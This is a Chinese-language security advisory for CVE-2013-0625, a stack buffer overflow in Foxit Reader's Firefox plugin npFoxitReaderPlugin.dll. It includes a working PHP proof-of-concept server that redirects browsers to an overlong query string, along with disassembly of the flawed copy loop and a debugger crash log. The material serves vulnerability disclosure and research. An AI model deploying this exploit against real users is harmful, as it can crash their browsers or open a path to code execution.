Firefox Foxit Reader插件npFoxitReaderPlugin.dll栈缓冲区溢出漏洞

发布日期：2013-01-04
更新日期：2013-01-09受影响系统：
Foxit Foxit Reader <= 5.4.4.1128
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 57164
CVE（CAN） ID: CVE-2013-0625

Foxit Reader是一款小巧的PDF阅读器。

Foxit Reader npFoxitReaderPlugin.dll是Firefox的插件，npFoxitReaderPlugin.dll在copy字符串时没有正确检查缓冲区边界，导致存在栈溢出漏洞。攻击者通过诱使用户打开包含超长查询串的特制文件，可达到使应用程序崩溃，甚至执行任意代码的目的。

<*来源：rgod （rgod@autistici.org）

链接：http://xforce.iss.net/xforce/xfdb/80988
http://www.exploit-db.com/exploits/23944/
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<？php
/*
Foxit Reader <= 5.4.4.1128 Plugin for Firefox npFoxitReaderPlugin.dll Overlong
Query String Remote Stack Buffer Overflow PoC --------------------------- rgod （listener） Tested against Microsoft Windows
Mozilla Firefox 17.0.1
Foxit Reader 5.4.3.0920
Foxit Reader 5.4.4.1128 File: npFoxitReaderPlugin.dll
Version: 2.2.1.530 Product url: http://www.foxitsoftware.com/downloads/
Last version setup file: FoxitReader544.11281_enu_Setup.exe Usage:
Launch from the command line, then browse port 6666 with Firefox.
You can test it also through this url: http://192.168.0.1/x.pdf？[A x 1024] File must be existing or the server should be responding with
the proper Content-Type header. vulnerable code, npFoxitReaderPlugin.dll: ;------------------------------------------------------------------------------
L1000162F:
push ebx
push esi
push edi
mov edi,ebp
or ecx,FFFFFFFFh
xor eax,eax
xor ebx,ebx
xor esi,esi
repne scasb
not ecx
dec ecx
test ecx,ecx
jle L100016E4
L1000164A:
mov al,[esi+ebp]
mov word ptr [esp+18h],0000h
cmp al,25h
jz L10001661
mov ecx,[esp+1Ch]
mov [ebx+ecx],al
jmp L100016CE
L10001661:
mov al,[esi+ebp+01h]
cmp al,30h
jl L1000166D
cmp al,39h
jle L1000167D
L1000166D:
cmp al,41h
jl L10001675
cmp al,46h
jle L1000167D
L10001675:
cmp al,61h
jl L100016C6
cmp al,66h
jg L100016C6
L1000167D:
mov dl,[esi+ebp+01h]
inc esi
inc esi
lea ecx,[esp+10h]
mov [esp+18h],dl
push ecx
mov al,[esi+ebp]
lea edx,[esp+1Ch]
push L100450D4
push edx
mov [esp+25h],al
call SUB_L10006421
mov eax,[esp+1Ch]
lea ecx,[esp+24h]
push eax
push L100450D0
push ecx
call SUB_L100063CF
mov eax,[esp+34h]
mov dl,[esp+30h]
add esp,00000018h
mov [ebx+eax],dl
jmp L100016CE
L100016C6:
mov ecx,[esp+1Ch]
mov byte ptr [ebx+ecx],25h
L100016CE:
inc ebx
mov edi,ebp
or ecx,FFFFFFFFh
xor eax,eax
inc esi
repne scasb
not ecx
dec ecx
cmp esi,ecx
jl L1000164A
L100016E4:
mov edx,[esp+1Ch]
pop edi
pop esi
mov eax,00000001h
mov byte ptr [ebx+edx],00h
pop ebx
pop ebp
pop ecx
retn
;------------------------------------------------------------------------------ this copy loop ends up in overwriting stack pointers, then
（by attaching to plugin-container.exe）: （f48.1778）: Access violation - code c0000005 （first chance）
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0076ed4c ebx=00000341 ecx=002cf414 edx=002cf414 esi=41414141 edi=0076e9e8
eip=10016852 esp=002cf3f8 ebp=75eacdf8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
npFoxitReaderPlugin！NP_GetEntryPoints+0x15672:
10016852 8906 mov dword ptr [esi],eax ds:0023:41414141=？？？？？？？？
...
Attempt to write to address 41414141
... also SEH pointers are overwritten
*/ error_reporting（0）; set_time_limit（0）; $port = 6666; $____redirect = "HTTP/1.1 301 Moved Permanently ".
"Server: Apache ".
"Location: /x.pdf？".str_repeat（"A",1024）." ".
"Content-Type: text/html "; $____boom = "HTTP/1.1 200 OK ".
"Server: Apache ".
"Accept-Ranges: bytes ".
"Content-Length: 60137 ".
"Content-Type: application/pdf ".
"Connection: keep-alive "; $socket = stream_socket_server（"tcp://0.0.0.0:".$port, $errno, $errstr）; if （！$socket） {
echo "$errstr （$errno） ";
} else {
echo "Listening on public tcp port ".$port." ";
while （$conn = stream_socket_accept（$socket）） {
$line=fgets（$conn）;
echo $line." ";
if （strpos（$line,".pdf"））{
fwrite（$conn,$____boom）;
}
else {
fwrite（$conn,$____redirect）;
}
fclose（$conn）;
}
fclose（$socket）;
}
？>建议：
--------------------------------------------------------------------------------
厂商补丁：

Foxit
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

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